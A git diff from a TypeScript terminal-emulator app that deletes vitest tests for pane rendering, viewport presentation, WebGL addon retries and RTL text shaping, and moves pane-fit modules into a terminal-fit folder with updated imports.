@@ -1,67 +0,0 @@
-import { vi } from 'vitest'
-import type { Mock } from 'vitest'
-
-type TerminalWriteMock = Mock<(data: string, callback?: () => void) => void>
-
-/** Background/queued write target; `classes` mirrors the classList the scheduler toggles. */
-export type SchedulerTestTerminal = {
-  classes: Set<string>
-  element: {
-    classList: {
-      add: Mock<(className: string) => void>
-      remove: Mock<(className: string) => void>
-    }
-  }
-  write: TerminalWriteMock
-}
-
-export type ForegroundSchedulerTestTerminal = {
-  buffer: { active: { cursorY: number; baseY: number; viewportY: number } }
-  rows: number
-  refresh: Mock<(start: number, end: number) => void>
-  _core: { refresh: Mock<(start: number, end: number, sync?: boolean) => void> }
-  write: TerminalWriteMock
-}
-
-export function createTerminal(): SchedulerTestTerminal {
-  const classes = new Set<string>()
-  return {
-    classes,
-    element: {
-      classList: {
-        add: vi.fn((className: string) => {
-          classes.add(className)
-        }),
-        remove: vi.fn((className: string) => {
-          classes.delete(className)
-        })
-      }
-    },
-    write: vi.fn((_data: string, callback?: () => void) => {
-      callback?.()
-    })
-  }
-}
-
-export function createForegroundTerminal(): ForegroundSchedulerTestTerminal {
-  return {
-    buffer: {
-      active: {
-        cursorY: 7,
-        baseY: 0,
-        viewportY: 0
-      }
-    },
-    rows: 24,
-    refresh: vi.fn(),
-    _core: {
-      refresh: vi.fn()
-    },
-    write: vi.fn((_data: string, callback?: () => void) => callback?.())
-  }
-}
-
-export async function loadScheduler() {
-  vi.resetModules()
-  return import('./pane-terminal-output-scheduler')
-}
diff --git a/src/renderer/src/lib/pane-manager/pane-tree-equalization-scaling.test.ts b/src/renderer/src/lib/pane-manager/pane-tree-equalization-scaling.test.ts
deleted file mode 100644
index 7d2bad2457a..00000000000
--- a/src/renderer/src/lib/pane-manager/pane-tree-equalization-scaling.test.ts
+++ /dev/null
@@ -1,30 +0,0 @@
-// @vitest-environment happy-dom
-import { expect, it } from 'vitest'
-import { equalizePaneSplitSizes } from './pane-tree-equalization'
-
-it('computes nested same-axis pane weights once per split', () => {
-  const pane = () => {
-    const element = document.createElement('div')
-    element.className = 'pane'
-    return element
-  }
-  let root = pane()
-  let reads = 0
-  const children = Object.getOwnPropertyDescriptor(Element.prototype, 'children')!.get!
-  for (let index = 0; index < 200; index += 1) {
-    const split = document.createElement('div')
-    split.className = 'pane-split'
-    split.append(pane(), root)
-    Object.defineProperty(split, 'children', {
-      get() {
-        reads += 1
-        return children.call(this)
-      }
-    })
-    root = split
-  }
-  expect(equalizePaneSplitSizes(root)).toBe(true)
-  expect(reads).toBeLessThan(500)
-  expect((root.lastElementChild as HTMLElement).style.flex).toBe('200 1 0%')
-  expect(equalizePaneSplitSizes(root)).toBe(false)
-})
diff --git a/src/renderer/src/lib/pane-manager/pane-viewport-present-lifetime.test.ts b/src/renderer/src/lib/pane-manager/pane-viewport-present-lifetime.test.ts
deleted file mode 100644
index 6dd6c24e7f7..00000000000
--- a/src/renderer/src/lib/pane-manager/pane-viewport-present-lifetime.test.ts
+++ /dev/null
@@ -1,154 +0,0 @@
-// @vitest-environment happy-dom
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { Terminal } from '@xterm/xterm'
-import { FitAddon } from '@xterm/addon-fit'
-import { SearchAddon } from '@xterm/addon-search'
-import { SerializeAddon } from '@xterm/addon-serialize'
-import { Unicode11Addon } from '@xterm/addon-unicode11'
-import { WebLinksAddon } from '@xterm/addon-web-links'
-import { isTerminalLeafId } from '../../../../shared/workspace-layout/stable-pane-id'
-import type { ManagedPaneInternal } from './pane-manager-types'
-import { disposePane } from './pane-lifecycle'
-import { toPublicPane } from './pane-public-view'
-import { presentPaneViewport } from './pane-viewport-present'
-import { requestFullViewportPresent } from './terminal-render-pause-release'
-
-vi.mock('./terminal-render-pause-release', () => ({
-  requestFullViewportPresent: vi.fn(() => false)
-}))
-
-describe('pane viewport retry lifetime', () => {
-  let frames: Map<number, FrameRequestCallback>
-  let nextFrameId: number
-  let panes: WeakRef<ManagedPaneInternal>[]
-
-  function createPane(): ManagedPaneInternal {
-    const leafId = '11111111-1111-4111-8111-111111111111'
-    if (!isTerminalLeafId(leafId)) {
-      throw new Error('Expected a valid fixture leaf id')
-    }
-    const container = document.createElement('div')
-    container.style.display = 'none'
-    document.body.appendChild(container)
-    const pane: ManagedPaneInternal = {
-      id: 1,
-      leafId,
-      stablePaneId: leafId,
-      terminal: new Terminal({ cols: 128, rows: 24, scrollback: 5000, allowProposedApi: true }),
-      container,
-      xtermContainer: container,
-      linkTooltip: document.createElement('div'),
-      fitAddon: new FitAddon(),
-      searchAddon: new SearchAddon(),
-      serializeAddon: new SerializeAddon(),
-      unicode11Addon: new Unicode11Addon(),
-      webLinksAddon: new WebLinksAddon(),
-      terminalGpuAcceleration: 'off',
-      gpuRenderingEnabled: false,
-      webglAttachmentDeferred: false,
-      webglDisabledAfterContextLoss: false,
-      hasComplexScriptOutput: false,
-      webglAddon: null,
-      imageAddon: null,
-      ligaturesAddon: null,
-      fitResizeObserver: null,
-      pendingObservedFitRafId: null,
-      compositionHandler: null,
-      pendingSplitScrollState: null,
-      debugLabel: null
-    }
-    panes.push(new WeakRef(pane))
-    return pane
-  }
-
-  function flushFrame(): void {
-    const callbacks = [...frames.values()]
-    frames.clear()
-    for (const callback of callbacks) {
-      callback(16)
-    }
-  }
-
-  beforeEach(() => {
-    frames = new Map()
-    nextFrameId = 0
-    panes = []
-    vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => {
-      const id = ++nextFrameId
-      frames.set(id, callback)
-      return id
-    })
-    vi.stubGlobal('cancelAnimationFrame', (id: number) => frames.delete(id))
-  })
-
-  afterEach(() => {
-    for (const ref of panes) {
-      const pane = ref.deref()
-      if (pane) {
-        disposePane(pane, new Map([[pane.id, pane]]))
-        pane.container.remove()
-      }
-    }
-    frames.clear()
-    document.body.replaceChildren()
-    vi.unstubAllGlobals()
-    vi.clearAllMocks()
-  })
-
-  for (const elapsed of [0, 3]) {
-    it(`cancels every public-wrapper retry after ${elapsed} ticks`, () => {
-      const pane = createPane()
-      presentPaneViewport(toPublicPane(pane))
-      presentPaneViewport(toPublicPane(pane))
-      for (let tick = 0; tick < elapsed; tick++) {
-        flushFrame()
-      }
-      expect(frames.size).toBe(2)
-      const lateCallbacks = [...frames.values()]
-      disposePane(pane, new Map([[pane.id, pane]]))
-      expect(frames.size).toBe(0)
-      for (const callback of lateCallbacks) {
-        callback(16)
-      }
-      expect(frames.size).toBe(0)
-    })
-  }
-
-  it('releases real disposed xterm buffers before paused frames resume', async () => {
-    async function retireTerminal(): Promise<WeakRef<Terminal>> {
-      const pane = createPane()
-      await new Promise<void>((resolve) =>
-        pane.terminal.write('retained history\r\n'.repeat(500), resolve)
-      )
-      presentPaneViewport(toPublicPane(pane))
-      presentPaneViewport(toPublicPane(pane))
-      flushFrame()
-      disposePane(pane, new Map([[pane.id, pane]]))
-      pane.container.remove()
-      return new WeakRef(pane.terminal)
-    }
-    const retired = await retireTerminal()
-    if (typeof globalThis.gc !== 'function') {
-      throw new Error('Run with the repository Vitest --expose-gc config')
-    }
-    for (let round = 0; round < 4; round++) {
-      await new Promise<void>((resolve) => setImmediate(resolve))
-      globalThis.gc()
-    }
-    expect(retired.deref()).toBeUndefined()
-    expect(frames.size).toBe(0)
-  })
-
-  it('keeps a different live terminal retry eligible when one is disposed', () => {
-    const retired = createPane()
-    const live = createPane()
-    presentPaneViewport(toPublicPane(retired))
-    presentPaneViewport(toPublicPane(live))
-    disposePane(retired, new Map([[retired.id, retired]]))
-    expect(frames.size).toBe(1)
-    live.container.style.display = 'block'
-    flushFrame()
-    expect(requestFullViewportPresent).toHaveBeenCalledOnce()
-    expect(requestFullViewportPresent).toHaveBeenCalledWith(live.terminal)
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/pane-viewport-present-synchronized-output.test.ts b/src/renderer/src/lib/pane-manager/pane-viewport-present-synchronized-output.test.ts
deleted file mode 100644
index 914caa70ded..00000000000
--- a/src/renderer/src/lib/pane-manager/pane-viewport-present-synchronized-output.test.ts
+++ /dev/null
@@ -1,132 +0,0 @@
-// @vitest-environment happy-dom
-import { readFileSync } from 'node:fs'
-import { join } from 'node:path'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { Terminal } from '@xterm/xterm'
-import { FitAddon } from '@xterm/addon-fit'
-import { SearchAddon } from '@xterm/addon-search'
-import { SerializeAddon } from '@xterm/addon-serialize'
-import { Unicode11Addon } from '@xterm/addon-unicode11'
-import { WebLinksAddon } from '@xterm/addon-web-links'
-import { isTerminalLeafId } from '../../../../shared/workspace-layout/stable-pane-id'
-import type { ManagedPaneInternal } from './pane-manager-types'
-import { presentPaneViewport } from './pane-viewport-present'
-
-const SYNC_START = '\x1b[?2026h'
-const SYNC_END = '\x1b[?2026l'
-const ERASE_LINE = '\x1b[K'
-// xterm's SynchronizedOutputHandler safety timeout.
-
-// Codex 0.158 wraps each redraw in DEC 2026 and erases rows before repainting them.
-function firstCodexFrameWithErase(): { erased: string; rest: string } {
-  const transcript = readFileSync(
-    join(__dirname, '../../../../main/runtime/__fixtures__/codex-0-158-0-timed-turn.txt'),
-    'utf8'
-  )
-  for (const block of transcript.split(SYNC_START).slice(1)) {
-    const body = block.split(SYNC_END)[0]
-    const erase = body.indexOf(ERASE_LINE)
-    if (erase > 0 && !body.includes('\x1b[?1049h')) {
-      const cut = erase + ERASE_LINE.length
-      return { erased: body.slice(0, cut), rest: body.slice(cut) }
-    }
-  }
-  throw new Error('fixture has no erasing synchronized frame')
-}
-
-// Step fake timers so xterm’s asynchronous writes reach their callbacks.
-async function write(terminal: Terminal, data: string): Promise<void> {
-  let parsed = false
-  terminal.write(data, () => {
-    parsed = true
-  })
-  await vi.advanceTimersByTimeAsync(0)
-  expect(parsed).toBe(true)
-}
-
-function createPane(terminal: Terminal, container: HTMLElement): ManagedPaneInternal {
-  const leafId = '11111111-1111-4111-8111-111111111111'
-  if (!isTerminalLeafId(leafId)) {
-    throw new Error('Expected a valid fixture leaf id')
-  }
-  return {
-    id: 1,
-    leafId,
-    stablePaneId: leafId,
-    terminal,
-    container,
-    xtermContainer: container,
-    linkTooltip: document.createElement('div'),
-    fitAddon: new FitAddon(),
-    searchAddon: new SearchAddon(),
-    serializeAddon: new SerializeAddon(),
-    unicode11Addon: new Unicode11Addon(),
-    webLinksAddon: new WebLinksAddon(),
-    terminalGpuAcceleration: 'off',
-    gpuRenderingEnabled: false,
-    webglAttachmentDeferred: false,
-    webglDisabledAfterContextLoss: false,
-    hasComplexScriptOutput: false,
-    webglAddon: null,
-    imageAddon: null,
-    ligaturesAddon: null,
-    fitResizeObserver: null,
-    pendingObservedFitRafId: null,
-    compositionHandler: null,
-    pendingSplitScrollState: null,
-    debugLabel: null
-  }
-}
-
-const COHERENT_TEXT = 'COHERENT FRAME'
-
-describe('presentPaneViewport during synchronized output', () => {
-  const originalGetContext = Object.getOwnPropertyDescriptor(
-    HTMLCanvasElement.prototype,
-    'getContext'
-  )
-  let terminal: Terminal
-  let pane: ManagedPaneInternal
-  // What the DOM renderer has put on screen, not the parsed buffer.
-  const screenText = (): string => pane.container.querySelector('.xterm-rows')?.textContent ?? ''
-
-  beforeEach(async () => {
-    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'requestAnimationFrame'] })
-    // Why: happy-dom has no canvas text metrics; xterm measures glyphs on open().
-    Object.defineProperty(HTMLCanvasElement.prototype, 'getContext', {
-      configurable: true,
-      value: () => ({ measureText: () => ({ width: 10 }) })
-    })
-    const container = document.createElement('div')
-    document.body.append(container)
-    terminal = new Terminal({ cols: 120, rows: 40, allowProposedApi: true })
-    terminal.open(container)
-    pane = createPane(terminal, container)
-    await write(terminal, `\x1b[5;2H${COHERENT_TEXT}`)
-    await vi.advanceTimersByTimeAsync(50)
-    expect(screenText()).toContain(COHERENT_TEXT)
-  })
-
-  afterEach(() => {
-    terminal.dispose()
-    document.body.replaceChildren()
-    vi.useRealTimers()
-    vi.restoreAllMocks()
-    if (originalGetContext) {
-      Object.defineProperty(HTMLCanvasElement.prototype, 'getContext', originalGetContext)
-    }
-  })
-
-  it('keeps the last coherent frame until the agent closes its redraw', async () => {
-    const frame = firstCodexFrameWithErase()
-    await write(terminal, SYNC_START + frame.erased)
-
-    presentPaneViewport(pane)
-    await vi.advanceTimersByTimeAsync(50)
-    expect(screenText()).toContain(COHERENT_TEXT)
-
-    await write(terminal, frame.rest + SYNC_END)
-    await vi.advanceTimersByTimeAsync(50)
-    expect(screenText()).not.toContain(COHERENT_TEXT)
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts b/src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts
deleted file mode 100644
index 61d3c6c6003..00000000000
--- a/src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts
+++ /dev/null
@@ -1,95 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-
-import type { ManagedPaneInternal } from './pane-manager-types'
-
-function createPane(options: { loadAddon?: () => void } = {}): ManagedPaneInternal {
-  const leafId = '22222222-2222-4222-8222-222222222222' as never
-  return {
-    id: 1,
-    leafId,
-    stablePaneId: leafId,
-    terminal: {
-      cols: 80,
-      rows: 24,
-      refresh: vi.fn(),
-      loadAddon: vi.fn(options.loadAddon)
-    } as never,
-    container: {} as never,
-    xtermContainer: {} as never,
-    linkTooltip: {} as never,
-    terminalGpuAcceleration: 'on',
-    gpuRenderingEnabled: true,
-    webglAttachmentDeferred: false,
-    webglDisabledAfterContextLoss: false,
-    hasComplexScriptOutput: false,
-    webglAddon: null,
-    imageAddon: null,
-    ligaturesAddon: null,
-    fitResizeObserver: null,
-    pendingObservedFitRafId: null,
-    pendingWebglRefreshRafId: null,
-    fitAddon: {
-      proposeDimensions: vi.fn(() => ({ cols: 80, rows: 23 })),
-      fit: vi.fn()
-    } as never,
-    searchAddon: {} as never,
-    serializeAddon: {} as never,
-    unicode11Addon: {} as never,
-    webLinksAddon: {} as never,
-    compositionHandler: null,
-    pendingSplitScrollState: null,
-    debugLabel: null
-  }
-}
-
-// Lazy loading adds unresolved chunks and panes opened before resolution; static imports had neither failure mode.
-describe('deferred WebGL addon load', () => {
-  beforeEach(() => {
-    vi.resetModules()
-    vi.spyOn(console, 'warn').mockImplementation(() => {})
-    vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => {
-      callback(16)
-      return 1
-    })
-    vi.stubGlobal('cancelAnimationFrame', vi.fn())
-  })
-
-  afterEach(() => {
-    vi.doUnmock('@xterm/addon-webgl')
-    vi.resetModules()
-    vi.unstubAllGlobals()
-    vi.restoreAllMocks()
-  })
-
-  it('retries a failed load instead of latching the DOM renderer for the session', async () => {
-    let loadShouldFail = true
-    vi.doMock('@xterm/addon-webgl', () => {
-      if (loadShouldFail) {
-        throw new Error('chunk load failed')
-      }
-      return {
-        WebglAddon: class {
-          onContextLoss(): void {}
-          clearTextureAtlas(): void {}
-          dispose(): void {}
-        }
-      }
-    })
-    const renderer = await import('./pane-webgl-renderer')
-    const pane = createPane()
-
-    await renderer.primeTerminalWebglAddon()
-    renderer.attachWebgl(pane)
-    await Promise.resolve()
-    expect(pane.webglAddon).toBeNull()
-
-    // GPU settings recovery must rearm the load as well as auto selection; cached settled promises cannot retry.
-    loadShouldFail = false
-    renderer.resetTerminalWebglSuggestion()
-    renderer.clearTerminalWebglAttachBackoff(pane)
-    await renderer.primeTerminalWebglAddon()
-    renderer.attachWebgl(pane)
-
-    expect(pane.webglAddon).not.toBeNull()
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-arabic-shaping-joiner.test.ts b/src/renderer/src/lib/pane-manager/terminal-arabic-shaping-joiner.test.ts
deleted file mode 100644
index 38716a2ba8b..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-arabic-shaping-joiner.test.ts
+++ /dev/null
@@ -1,72 +0,0 @@
-import { describe, expect, it } from 'vitest'
-
-import {
-  configureLazyArabicShapingJoiner,
-  ensureArabicShapingJoinerForText,
-  findRtlJoinRanges
-} from './terminal-arabic-shaping-joiner'
-
-describe('findRtlJoinRanges', () => {
-  it('produces separate ranges for RTL runs split by LTR text', () => {
-    const text = 'اهلا and שלום'
-    expect(findRtlJoinRanges(text)).toEqual([
-      [0, 4],
-      [9, 13]
-    ])
-  })
-
-  it('does not open a run at orphan combining marks after an LTR base', () => {
-    // Combining marks share their base cell; starting a run there yields an empty joined range that blanks the next WebGL glyph.
-    expect(findRtlJoinRanges('a\u064b\u0651b')).toEqual([])
-    expect(findRtlJoinRanges('x\u05b0\u05b1y')).toEqual([])
-  })
-
-  it('does not open a run at zero-width Cf controls after an LTR base', () => {
-    // BOM/ZWNBSP and Arabic number signs have width zero; opening there also creates an empty joined range that blanks the next glyph.
-    const BOM = '\ufeff'
-    expect(findRtlJoinRanges(`a${BOM}${BOM}b`)).toEqual([])
-    expect(findRtlJoinRanges('x\u0600\u0602y')).toEqual([])
-    expect(findRtlJoinRanges(`a${BOM}\u0651b`)).toEqual([])
-  })
-})
-
-describe('configureLazyArabicShapingJoiner', () => {
-  function createLazyHost() {
-    const events: string[] = []
-    let handler: ((text: string) => [number, number][]) | null = null
-    const terminal = {
-      registerCharacterJoiner(nextHandler: (text: string) => [number, number][]): number {
-        events.push('register')
-        handler = nextHandler
-        return 11
-      },
-      deregisterCharacterJoiner(joinerId: number): void {
-        events.push(`deregister:${joinerId}`)
-      }
-    }
-    return { events, terminal, getHandler: () => handler }
-  }
-
-  it('registers when a Bengali spacing vowel sign arrives in the next write', () => {
-    const host = createLazyHost()
-    configureLazyArabicShapingJoiner(host.terminal, () => true)
-
-    ensureArabicShapingJoinerForText(host.terminal, 'ক')
-    expect(host.events).toEqual([])
-    ensureArabicShapingJoinerForText(host.terminal, 'ি')
-
-    expect(host.events).toEqual(['register'])
-  })
-
-  it('recognizes a supplementary-plane RTL code point split across writes', () => {
-    const host = createLazyHost()
-    configureLazyArabicShapingJoiner(host.terminal, () => true)
-    const adlam = String.fromCodePoint(0x1e900)
-
-    ensureArabicShapingJoinerForText(host.terminal, adlam.charAt(0))
-    expect(host.events).toEqual([])
-    ensureArabicShapingJoinerForText(host.terminal, adlam.charAt(1))
-
-    expect(host.events).toEqual(['register'])
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-delivery-credit.test.ts b/src/renderer/src/lib/pane-manager/terminal-delivery-credit.test.ts
deleted file mode 100644
index 2d6a636d0e3..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-delivery-credit.test.ts
+++ /dev/null
@@ -1,52 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-
-describe('terminal delivery credit', () => {
-  beforeEach(() => {
-    vi.resetModules()
-  })
-
-  it('restores an outer delivery after a nested delivery returns', async () => {
-    const { deliverTerminalDataWithDeferredCredit, takeCurrentTerminalDeliveryCredit } =
-      await import('./terminal-delivery-credit')
-    const completeOuter = vi.fn()
-    const completeInner = vi.fn()
-    let outerCredit: (() => void) | null = null
-    let innerCredit: (() => void) | null = null
-
-    deliverTerminalDataWithDeferredCredit(completeOuter, () => {
-      deliverTerminalDataWithDeferredCredit(completeInner, () => {
-        innerCredit = takeCurrentTerminalDeliveryCredit()
-      })
-      outerCredit = takeCurrentTerminalDeliveryCredit()
-    })
-
-    expect(completeOuter).not.toHaveBeenCalled()
-    expect(completeInner).not.toHaveBeenCalled()
-    innerCredit!()
-    outerCredit!()
-    expect(completeInner).toHaveBeenCalledOnce()
-    expect(completeOuter).toHaveBeenCalledOnce()
-  })
-  it('settles only after every scheduler write claimed by one delivery completes', async () => {
-    const { deliverTerminalDataWithDeferredCredit, takeCurrentTerminalDeliveryCredit } =
-      await import('./terminal-delivery-credit')
-    const complete = vi.fn()
-    let first: (() => void) | null = null
-    let second: (() => void) | null = null
-
-    deliverTerminalDataWithDeferredCredit(complete, () => {
-      first = takeCurrentTerminalDeliveryCredit()
-      second = takeCurrentTerminalDeliveryCredit()
-    })
-
-    expect(first).not.toBeNull()
-    expect(second).not.toBeNull()
-    first!()
-    expect(complete).not.toHaveBeenCalled()
-    second!()
-    expect(complete).toHaveBeenCalledOnce()
-    first!()
-    second!()
-    expect(complete).toHaveBeenCalledOnce()
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/mobile-fit-overrides.ts b/src/renderer/src/lib/pane-manager/terminal-fit/mobile-fit-overrides.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/mobile-fit-overrides.ts
rename to src/renderer/src/lib/pane-manager/terminal-fit/mobile-fit-overrides.ts
diff --git a/src/renderer/src/lib/pane-manager/pane-display-visibility.ts b/src/renderer/src/lib/pane-manager/terminal-fit/pane-display-visibility.ts
similarity index 88%
rename from src/renderer/src/lib/pane-manager/pane-display-visibility.ts
rename to src/renderer/src/lib/pane-manager/terminal-fit/pane-display-visibility.ts
index 6a0746d7053..da1b478f95e 100644
--- a/src/renderer/src/lib/pane-manager/pane-display-visibility.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-fit/pane-display-visibility.ts
@@ -1,4 +1,4 @@
-import type { ManagedPane, ManagedPaneInternal } from './pane-manager-types'
+import type { ManagedPane, ManagedPaneInternal } from '../pane-manager-types'
 
 export function isManagedPaneDisplayNone(pane: ManagedPane): boolean {
   const element = (pane as ManagedPaneInternal).xtermContainer ?? pane.container
diff --git a/src/renderer/src/lib/pane-manager/pane-fit-client-size.ts b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-client-size.ts
similarity index 90%
rename from src/renderer/src/lib/pane-manager/pane-fit-client-size.ts
rename to src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-client-size.ts
index 6a4560d8263..b6c92476597 100644
--- a/src/renderer/src/lib/pane-manager/pane-fit-client-size.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-client-size.ts
@@ -1,4 +1,4 @@
-import type { ManagedPane, ManagedPaneInternal } from './pane-manager-types'
+import type { ManagedPane, ManagedPaneInternal } from '../pane-manager-types'
 
 // Measure xterm’s host, not the outer pane that ignores title/banner shrinkage; round pixels to reject subpixel resize jitter.
 export function readFitClientSize(pane: ManagedPane): { width: number; height: number } | null {
diff --git a/src/renderer/src/lib/pane-manager/pane-fit-continuation-registry.ts b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-continuation-registry.ts
similarity index 98%
rename from src/renderer/src/lib/pane-manager/pane-fit-continuation-registry.ts
rename to src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-continuation-registry.ts
index 10caffadb38..f61c3959299 100644
--- a/src/renderer/src/lib/pane-manager/pane-fit-continuation-registry.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-continuation-registry.ts
@@ -1,4 +1,4 @@
-import type { ManagedPane } from './pane-manager-types'
+import type { ManagedPane } from '../pane-manager-types'
 import { isManagedPaneDisplayNone } from './pane-display-visibility'
 import { clearPaneFitContinuationRetry } from './pane-fit-continuation-retry'
 import {
diff --git a/src/renderer/src/lib/pane-manager/pane-fit-continuation-retry.ts b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-continuation-retry.ts
similarity index 96%
rename from src/renderer/src/lib/pane-manager/pane-fit-continuation-retry.ts
rename to src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-continuation-retry.ts
index fbaab0da446..a20bf83bc27 100644
--- a/src/renderer/src/lib/pane-manager/pane-fit-continuation-retry.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-continuation-retry.ts
@@ -1,6 +1,6 @@
 import { recordRendererCrashBreadcrumb } from '@/diagnostics/crash-reporting/crash-breadcrumb-recorder'
-import { getLivePaneCensus } from './pane-manager-registry'
-import type { ManagedPane } from './pane-manager-types'
+import { getLivePaneCensus } from '../pane-manager-registry'
+import type { ManagedPane } from '../pane-manager-types'
 
 const MAX_RETRY_FRAMES = 40
 const LAYOUT_SETTLE_MS = 16
diff --git a/src/renderer/src/lib/pane-manager/pane-fit-deferred-continuations.ts b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-deferred-continuations.ts
similarity index 97%
rename from src/renderer/src/lib/pane-manager/pane-fit-deferred-continuations.ts
rename to src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-deferred-continuations.ts
index 08e0ce5a6dc..8d22021d075 100644
--- a/src/renderer/src/lib/pane-manager/pane-fit-deferred-continuations.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-deferred-continuations.ts
@@ -1,4 +1,4 @@
-import type { ManagedPane } from './pane-manager-types'
+import type { ManagedPane } from '../pane-manager-types'
 
 export type DeferredFitContinuation = {
   continuation: () => void
diff --git a/src/renderer/src/lib/pane-manager/pane-fit-measurability.ts b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-measurability.ts
similarity index 97%
rename from src/renderer/src/lib/pane-manager/pane-fit-measurability.ts
rename to src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-measurability.ts
index 9ba4977b496..b7386fa466f 100644
--- a/src/renderer/src/lib/pane-manager/pane-fit-measurability.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-measurability.ts
@@ -1,4 +1,4 @@
-import type { ManagedPane } from './pane-manager-types'
+import type { ManagedPane } from '../pane-manager-types'
 import { isManagedPaneDisplayNone } from './pane-display-visibility'
 import {
   flushDeferredPaneMetricOptions,
diff --git a/src/renderer/src/lib/pane-manager/pane-fit-resize-observer.ts b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-resize-observer.ts
similarity index 94%
rename from src/renderer/src/lib/pane-manager/pane-fit-resize-observer.ts
rename to src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-resize-observer.ts
index 022cab17275..b4d63e41336 100644
--- a/src/renderer/src/lib/pane-manager/pane-fit-resize-observer.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-resize-observer.ts
@@ -1,5 +1,7 @@
-import type { ManagedPane, ManagedPaneInternal } from './pane-manager-types'
-import { cancelPendingSafeFitContinuations, safeFitAndThen } from './pane-tree-ops'
+import type { ManagedPane, ManagedPaneInternal } from '../pane-manager-types'
+import '../pane-layout/pane-tree-ops'
+import { cancelPendingSafeFitContinuations } from './pane-fit-continuation-registry'
+import { safeFitAndThen } from './pane-fit'
 
 type ProposedDimensions = {
   cols: number
diff --git a/src/renderer/src/lib/pane-manager/pane-fit-webgl-attach-signal.ts b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-webgl-attach-signal.ts
similarity index 87%
rename from src/renderer/src/lib/pane-manager/pane-fit-webgl-attach-signal.ts
rename to src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-webgl-attach-signal.ts
index b55bdce6096..b767c41db4d 100644
--- a/src/renderer/src/lib/pane-manager/pane-fit-webgl-attach-signal.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit-webgl-attach-signal.ts
@@ -1,4 +1,4 @@
-import type { ManagedPane, ManagedPaneInternal } from './pane-manager-types'
+import type { ManagedPane, ManagedPaneInternal } from '../pane-manager-types'
 
 // Offer WebGL recovery on every successful fit without cycling pane-fit ↔ pane-webgl-renderer; the renderer registers here.
 type PaneFitWebglAttachHook = (pane: ManagedPaneInternal) => void
diff --git a/src/renderer/src/lib/pane-manager/pane-fit.ts b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit.ts
similarity index 94%
rename from src/renderer/src/lib/pane-manager/pane-fit.ts
rename to src/renderer/src/lib/pane-manager/terminal-fit/pane-fit.ts
index eb6cf2a37a8..483e350b5e3 100644
--- a/src/renderer/src/lib/pane-manager/pane-fit.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-fit/pane-fit.ts
@@ -1,4 +1,9 @@
-import type { ManagedPane, ManagedPaneInternal, ScrollState } from './pane-manager-types'
+import type { ManagedPane, ManagedPaneInternal } from '../pane-manager-types'
+import {
+  captureScrollState,
+  releaseScrollStateMarker,
+  type ScrollState
+} from '../terminal-scroll/pane-scroll-snapshot'
 import { isManagedPaneDisplayNone } from './pane-display-visibility'
 import { getFitOverrideForPty } from './mobile-fit-overrides'
 import {
@@ -10,17 +15,15 @@ import {
   isTerminalStructuralScrollIntentCurrent,
   markTerminalPinnedViewport,
   restoreTerminalStructuralScrollIntent
-} from './terminal-scroll-intent'
+} from '../terminal-scroll/terminal-scroll-intent'
 import {
-  captureScrollState,
-  releaseScrollStateMarker,
   restoreScrollStateAfterFit,
   resumePendingFitScrollRestoreAfterFit
-} from './pane-scroll'
+} from '../terminal-scroll/pane-scroll'
 import {
   deferTerminalGeometryMutationDuringRebuild,
   isTerminalScrollIntentRebuildInFlight
-} from './terminal-scroll-intent-rebuild'
+} from '../terminal-scroll/terminal-scroll-intent-rebuild'
 import { flushDeferredPaneMetricOptions } from './pane-metric-options-deferral'
 import { canMeasurePaneForFit, getProposedPaneDimensions } from './pane-fit-measurability'
 import {
@@ -37,24 +40,11 @@ import type { PendingSafeFitContinuation } from './pane-fit-continuation-registr
 import { notifyPaneFitSucceeded } from './pane-fit-webgl-attach-signal'
 import { recordPaneFitClientSize } from './pane-fit-client-size'
 
-export {
-  canApplyPaneMetricOptions,
-  canMeasurePaneForFit,
-  flushDeferredPaneMetricOptionsIfMeasurable
-} from './pane-fit-measurability'
-
-export {
-  cancelPendingSafeFitContinuations,
-  flushPendingSafeFitContinuations
-} from './pane-fit-continuation-registry'
-
 export type SafeFitContinuationHandle = {
   completion: Promise<boolean>
   cancel: () => void
 }
 
-export { readFitClientSize } from './pane-fit-client-size'
-
 /** Propose the next safe-fit grid after deferred metrics; owner overrides remain measurable while hidden. */
 export function readProposedPaneFitDimensions(
   pane: ManagedPane
